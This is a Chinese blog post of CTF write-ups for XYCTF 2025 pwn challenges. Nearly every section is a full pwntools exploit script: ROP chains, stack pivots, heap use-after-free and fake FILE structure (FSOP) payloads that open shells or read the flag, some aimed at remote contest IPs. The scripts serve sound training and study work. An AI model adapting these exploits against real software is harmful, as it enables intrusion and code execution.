← 返回文章归档
FIELD NOTES / Pwn9 MIN READ

XYCTF 2025 pwn方向部分题解

nailong

image

int -> uint 如果输入负数就可以绕过“太高了”

接下来0是读,1是写,程序开头给了栈地址

虽然用time0加随机数了,但是只要我们本地也同样跑个time0就可以生成一样的随机数

分别把几个变量写掉后弄出任意读写原语后写orw即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
import ctypes

glibc = ctypes.CDLL("libc.so.6")
glibc.srand(glibc.time(0))

filename='./nailong'
libc='./libc.so.6'

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

p=remote('47.94.172.18',20519)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
p.recvuntil('rbp + offset:')
offset = glibc.rand() % 0x1B0 + 80
rbp=int(p.recvuntil('end',drop=True),10)-offset
sla("lou_ma\n",'-1')
def r(offset):
sla('bin/sh\n','1')
sla('do?\n',str(offset))

def w(offset,content):
sla('bin/sh\n','2')
sla('do?',str(offset))
sa('want',content)

print(hex(rbp))
stack=rbp

w(stack-0x8044,p32(-0x1000,sign="signed"))
w(stack-0x804C,p32(-0x1000,sign="signed"))

r(e.got['puts'])
paddr=u64(p.recv(6)+b'\x00\x00')
libcbase=paddr-libc.sym['puts']
print(hex(paddr))

rdi=libcbase+0x000000000002a3e5
rax=libcbase+0x0000000000045eb0
rsi=libcbase+0x000000000002be51
rdx_rbx=libcbase+0x00000000000904a9
sys_ret=libcbase+libc.search(asm('syscall;ret')).__next__()
ret=libcbase+0x000000000010f75b+1
binsh=libcbase+libc.search('/bin/sh').__next__()
# Rop=p64(rdi)+p64(binsh)+p64(saddr)
# rdi
Rop=flat(
{
0x0:[p64(rdx_rbx),p64(0x100),p64(0),
p64(rdi),p64(0xffffff9c),p64(rax),p64(0x101),
p64(rsi),p64(rbp-0x4004),p64(sys_ret), # rop
p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),
p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),
]
},filler=b'\x00')

w(rbp-0x4004,'/fla')
w(rbp-0x4000,'g\x00\x00')

for i in range(0,len(Rop),4):
w(rbp+8+i,Rop[i:i+4])


pause()
w(stack-0x803C,p32(0,sign="signed"))

p.interactive()

libc-revenge

莫名其妙的一道题,运行时自动崩溃

修了一遍,结果原来是加难度,我还以为修自动崩溃呢

setvbuf设置了全缓冲

利用puts后rdx=1重置stdin缓冲即可

当然,想那么做需要控制一下rdi和rsi

利用这几个gadgets

1
2
3
4
5
6
7
0x000000000040117d : pop rbp ; ret

0x0000000000401180 : mov rdi, rsi ; ret

0x00000000004010eb : add rsi, qword ptr [rbp + 0x20] ; ret

0x00000000004010e4 : and rsi, 0 ; ret

然后用rsi、rbp在0x403F50构造出got表地址,传给rdi后调用puts

接着rdi变成stdout,rsi变成0

控制到setvbuf泄露libc地址

接下来栈迁移到bss直接打栈溢出即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
filename='./attachment_new'
libc='./libc.so.6'

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

p=remote('47.94.204.178',36889)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
magic=0x00000000004011B7
vsys=0xffffffffff600000
si2di=0x0000000000401180
call_re=0x40129E
mov_di_jmp_ax=0x0000000000401107
clear_rsi=0x00000000004010e4
add_rsi=0x00000000004010eb
feof=0x000000000401090
fgetc=feof-0x10
puts=fgetc-0x10
setvbuf=0x0000000004010A0
rbp=0x000000000040117d
stdout=0x000000000404060

pay=b'\x00'*0x210+p64(0)+p32(0)+b'\x28'+p64(clear_rsi)+p64(rbp)+p64(0x403EF0-0x20+8)
pay+=p64(add_rsi)+p64(rbp)+p64(0x403F50-0x20+8)+p64(add_rsi)
pay+=p64(si2di)+p64(rbp)+p64(e.bss(0x900))+p64(puts)
pay+=p64(rbp)+p64(stdout-0x20)+p64(clear_rsi)+p64(add_rsi)+p64(si2di)+p64(magic)+p64(e.bss(0x900))+p64(0x401207)

sl(pay)
p.recvuntil('Revenge\n')
paddr=u64(p.recv(6)+b'\x00\x00')
libcbase=paddr-libc.sym['puts']
print(hex(libcbase))

rdi=0x000000000002a3e5+libcbase
binsh=libc.search('/bin/sh').__next__()+libcbase
saddr=libcbase+libc.sym['system']


pay=b'x'*0x210+p64(0)+p32(0)+b'\x28'+p64(rdi+1)+p64(rdi)+p64(binsh)+p64(saddr)
sl(pay)
p.interactive()

EZ3.0

救命我的程序怎么跑不起来

救命我的qemu怎么不起作用

image

诶,栈溢出?

image

诶,backdoor?

那不是秒了吗

image

可惜是ls,但是我们有

image

ROPgadgets不能使用,但是我们很轻松就能在backdoor下面找到gadgets

image

所以开个靶机直接打就行了,栈溢出的题,根本不需要本地调试!(大暴论)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
filename='./EZ3.0'
# libc=

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

# p=process(filename)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
p=remote('47.94.103.208',26776)
useful=0x0411010
gadget=0x0400A20
saddr=0x0400B70
door=0x04009C8
# pay=b'x'*36+p32(gadget)+p32(saddr)+p32(useful)
pay=b'x'*36+p32(gadget)+p32(0xdeadbeaf)+p32(saddr)+p32(useful)
sl(pay)

p.interactive()
#p=remote()

我去,舟!

前面的寻访模拟器完全是摆设,哎ctf圈不要再蹭我们方舟了

image

一个小栈溢出呀

覆盖rbp -> bss栈迁移,然后在bss上写/bin/sh,就可以pop rdi再system乐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
filename='./arknights'
# libc=''

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

p=process(filename)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p,'set follow-fork-mode parent\ngo')
rdi=0x00000000004018e5
saddr=0x000000000401130
sl('')
sl('4')
sl('1')
pay=b'x'*0x40+p64(e.bss(0x408))+p64(0x0000000004018A8)
s(pay)
pay=b'/bin/sh\x00'*8+p64(0)+p64(rdi)+p64(e.bss(0x400-0x20))+p64(saddr)
sleep(0.1)
s(pay)
sleep(0.1)
sl('exec 1>&2')
p.interactive()

#p=remote()

heap2

朴实无华的板子题,free不清指针,没有edit也很简单呀

我去我板子坏了,这我得站起来打

  • 队友:救命!本地打通,远程打不通。
    我:救命!板子坏了,把你们的板子给我啊啊啊啊啊啊!
    队友:天啊要没时间了,这难道就是传说中的。。。三角洲行动!!!!
    我:不是不是你快停下啊啊啊啊啊
    /* imiab退出了xyctf */

如何进行堆布局?

显然,要避免使用小堆块,不然会分配到莫名其妙的地方,或者说在我们进行free的时候,对应的tcache已经满了,导致我们的堆进入了奇怪的bins。

由于show和add都有截断,所以没办法直接泄露,但是uaf又弥补了这点,经过简单的布局,我们可以轻松地拿到libc和haddr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

add(0x518) #0
add(0x508) #1

free(1)
free(0)

add(0x508) #2
add(0x518) #3
add(0x518) #4

free(3)
add(0x548) #5 ->let unsorted put into large

show(3) # -> libc
show(1) # -> haddr

# 0x518
# fd bk # fd <- idx:3
# fd_next bk_next # fd_next <- idx:1

然后,借用这个重叠,伪造tcache,free掉后直接打io list all
因为感觉在这种乱糟糟的布局里打large很糟心,而且我们也有足够的a数量去打tcache

一开始想要打stdout泄露env然后转打栈,但是失败了
io基础不牢固呃呃,不要拷打我口牙

最后就是无聊的调板子时间,因为fake io地址写错和magic填错了,结果没写出来
对的我在没有控制栈的情况下找带ret的gadgets

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
filename='./heap2'
libc='./libc.so.6'

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

p=process(filename)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
gdb.attach(p,'b _IO_switch_to_wget_mode\ngo')
# p=remote('39.106.48.123',29826)

cmd = lambda choice: sa(b'> ', str(choice).encode())
def add(size, content=b'\x00'):
cmd(1)
sa(b'size: ', str(size).encode())
sa(b'data: ', content)

def show(idx):
cmd(2)
sa(b'idx: ', str(idx).encode())

def free(idx):
cmd(3)
sa(b'idx: ', str(idx).encode())

add(0x518)#0
add(0x518)#1
add(0x518)#2
free(1)
show(1)

libcbase=u64(p.recv(6)+b'\x00\x00') - 0x203b20
env=libcbase+libc.sym['environ']
stdout=libcbase+libc.sym['_IO_list_all']

free(2)
free(0)
add(0x508)#3
add(0x528)#4
add(0x518)#5

free(4)
add(0x538)#6
show(1)

haddr=u64(p.recv(6)+b'\x00\x00')+0x20

add(0x528,p64(0)+p64(0x401))#7
add(0x3f1)#88
free(8)
free(1)

free(7)

add(0x528,p64(0)+p64(0x401)+p64((haddr>>12)^(stdout))) #9
add(0x3f8)
add(0x3f8,p64(haddr-0x10))

print(hex(libcbase))
print(hex(haddr))
magic=libcbase+0x00000000000a9b53
magic=0x000000000010d05b+libcbase
magic=0x0000000000176f0e+libcbase
fake_io=haddr-0x10
haddr=haddr-0x10
IO_wfile_jumps=libcbase+libc.sym['_IO_wfile_jumps']
setcontext_61=libcbase+libc.sym['setcontext']+61
rdi=libcbase+0x000000000010f75b
rax=libcbase+0x00000000000dd237
rsi=libcbase+0x0000000000110a4d
sys_ret=libcbase+0x000000000098FC5
ret=libcbase+0x000000000010f75b+1
saddr=libcbase+libc.sym['system']
binsh=libcbase+libc.search('/bin/sh').__next__()
Rop=p64(rdi)+p64(binsh)+p64(saddr)
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]

pay=flat(
{
0x0:[b'/flag\x00'], # rdi=binsh
0x20:[p64(0)], # write_base
0x28:[p64(1)], # write_ptr --> ptr > base
0xc0:[p64(0)], # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],

0x88:[p64(haddr+0x90),p64(0),p64(1)], # bypass lock

0xA0:[p64(fake_io+0xA8),p64(0),p64(1)],
(0xA0+0x20):[p64(0)],
(0xA0+0x28):[p64(1)], # bypass check in wfile_seekoff
(0xA0+0x30):[p64(1)], # bypass check in wfile_seekoff
(0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xB0+0xd8+0x18):[p64(magic)], # call entry
(0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],
(0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],
(0x1C8+0xA0):[p64(fake_io+0x280)], # rsp
(0x1C8+0x68):[p64(0xffffff9c)], # rdi
(0x1C8+0xA8):[p64(rax)], # ret_addr
(0x1C8+0x88):[p64(0x100)], # rdx
(0x1C8+0x70):[p64(fake_io)], # rsi
(0x280):[p64(0x101),p64(sys_ret), # rop
p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),
p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),
]
},filler=b'\x00')

free(7)
add(0x528,pay)

p.interactive()
#p=remote()

bot

protobuf逆出来以后是这样的:

1
2
3
4
5
6
7
8
9
syntax = "proto2";

message Message_request {
required int32 id = 1;
required string sender = 2;
required uint32 len = 3;
required bytes content = 4;
required int32 actionid = 5;
}

我以为actionid 1 是add,仔细检查发现是edit

呃,白给的任意读写,感觉随便打了

里面实现了一个类似影子栈的东西,但是感觉非常奇怪。

怎么会有人把内存管理和影子栈这两种功能写到一个结构体里的()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
import device_pb2
filename='./bot'
libc='./libc.so.6'

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

p=process(filename)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
gdb.attach(p,"b _IO_flush_all_lockp\ngo")

def action1(idx,con,len):
msg=device_pb2.Message_request()
msg.id=idx
msg.sender="admin"
msg.len=len
msg.content=con
msg.actionid=1
p.sendafter("TESTTESTTEST!",msg.SerializeToString())

def action2(idx):
msg=device_pb2.Message_request()
msg.id=idx
msg.sender="admin"
msg.actionid=2
msg.len=100
msg.content=b'a'
p.sendafter("TESTTESTTEST!",msg.SerializeToString())
def action3():
msg=device_pb2.Message_request()
msg.id=0
msg.sender="admin"
msg.actionid=3
msg.len=100
msg.content=b'a'
p.sendafter("TESTTESTTEST!",msg.SerializeToString())

action1(0,b'a'*0x18,0x18)
action2(2)
p.recvuntil("BOT MSG\n")
haddr=u64(p.recv(5)+b'\x00\x00\x00')*0x1000
print(hex(haddr))
action1(0,b'a'*0x18+p64(0x21)+p64(haddr+0x500)+p64(haddr+0x2A0),0x30)
action2(1)
p.recvuntil("BOT MSG\n")
libcbase=u64(p.recv(6)+b'\x00\x00')-0x29D90

action1(0,b'a'*0x18+p64(0x21)+p64(libcbase+0x29d90)+p64(libcbase+libc.sym['_IO_list_all']),0x30)
action1(1,p64(haddr+0x5000),8)

action1(0,b'a'*0x18+p64(0x21)+p64(libcbase+0x29d90)+p64(haddr+0x5000),0x30)

haddr=haddr+0x5000
fake_io=haddr
IO_wfile_jumps=libcbase+libc.sym['_IO_wfile_jumps']
setcontext_61=libcbase+libc.sym['setcontext']+61
rdi=libcbase+0x000000000010f75b
rax=libcbase+0x00000000000dd237
rsi=libcbase+0x0000000000110a4d
sys_ret=libcbase+0x000000000098FC5
ret=libcbase+0x000000000010f75b+1
binsh=libcbase+libc.search('/bin/sh').__next__()
saddr=libcbase+libc.sym['system']
Rop=p64(rdi)+p64(binsh)+p64(saddr)
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
pay=flat(
{
0x0:[b'/bin/sh\x00'], # rdi=binsh
0x20:[p64(0)], # write_base
0x28:[p64(1)], # write_ptr --> ptr > base
0xc0:[p64(0)], # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],

0x88:[p64(fake_io+0x88),p64(1)], # bypass lock

0xA0:[p64(fake_io+0xA8),p64(0),p64(0)],
(0xA0+0x20):[p64(1)],
(0xA0+0x28):[p64(2)], # bypass check in wfile_seekoff
(0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xB0+0xd8+0x18):[p64(saddr)], # call entry
(0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],
# (0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],
# (0x1C8+0xA0):[p64(fake_io+0x280)], # rsp
# (0x1C8+0x68):[p64(0xffffff9c)], # rdi
# (0x1C8+0xA8):[p64(rax)], # ret_addr
# (0x1C8+0x88):[p64(0x100)], # rdx
# (0x1C8+0x70):[p64(fake_io)], # rsi
# (0x280):[p64(0x101),p64(sys_ret), # rop
# p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),
# p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),
# ]
},filler=b'\x00')
action1(1,pay,len(pay))
action3()

p.interactive()

一些碎碎念

第一次发博客,有点,紧张!

xyctf总体打下来

体验似乎不是很好哦

首先是ret2libc没有初始化变量,导致除ubuntu22.04以外系统打开程序都会直接崩溃。后面修了换了附件,结果貌似只修了本地setvbuf设置错的问题(我的猜测,实际上我也不知道修了什么)

然后是heap2拉下去,修了一整天才上来。

如此来看,第一天打的时候,pwn一共就4道题,结果有一半的题目是坏的,这让我对这个比赛产生了 极其严重的怀疑(我记得还有个pwn,64位程序发了32位ld,感觉出题人不是很上心呢哼哼)

而且还害我错过了阴间的一血,我的R.E.P.O呜呜呜呜

然后第二天我也不太想打,但是队长sama表示你不能不打啊,后面好多人在追呀,然后题目下下来一看

全是栈溢出,没绷住

更不想打了,从漏洞到利用,基本上看一眼就都想出来了(当然,一般来说有思路和有exp距离是很远的,但是这种一眼栈溢出,一眼栈迁移,只是调参数特别麻烦的题目……我是不太喜欢做)

然后xy期间还有另外一场ctf,我就去搞那个了,剩下两题摸了摸了。

本来这就是一场平平无奇的,pwn方向题目质量偏低的小比赛(←眼高手低大暴论),结果后来好像看到了什么不好的风言风语。但是我比较懒,就不管那么多了,呜呜还有好多东西要学,还是摸鱼ba(躺)

girlfriend思路

找女朋友这么麻烦,我不想找了(?)

选项1里面有栈溢出,选项3有非栈上格式化字符串和数组越界。选项3的数组越界可以让选项1和选项3多次调用。然后用fmt和残留参数泄露一下pie和libc,接下来就变成随便打环节了。

嗯,然后出题人再加了个沙箱,再没收了你的libc让你打远程泄露。虽然确实加大了难度,但是说实话……

(真的很没意思!!!)

FROM THE ARCHIVE

这篇文章迁移自我的博客园,保留最初的记录。

阅读原文 ↗
/ END✳∷ — 00
SEARCH / 00

搜索文章

输入关键词,搜索全部文章。

标题 / 标签 / 全文ESC 关闭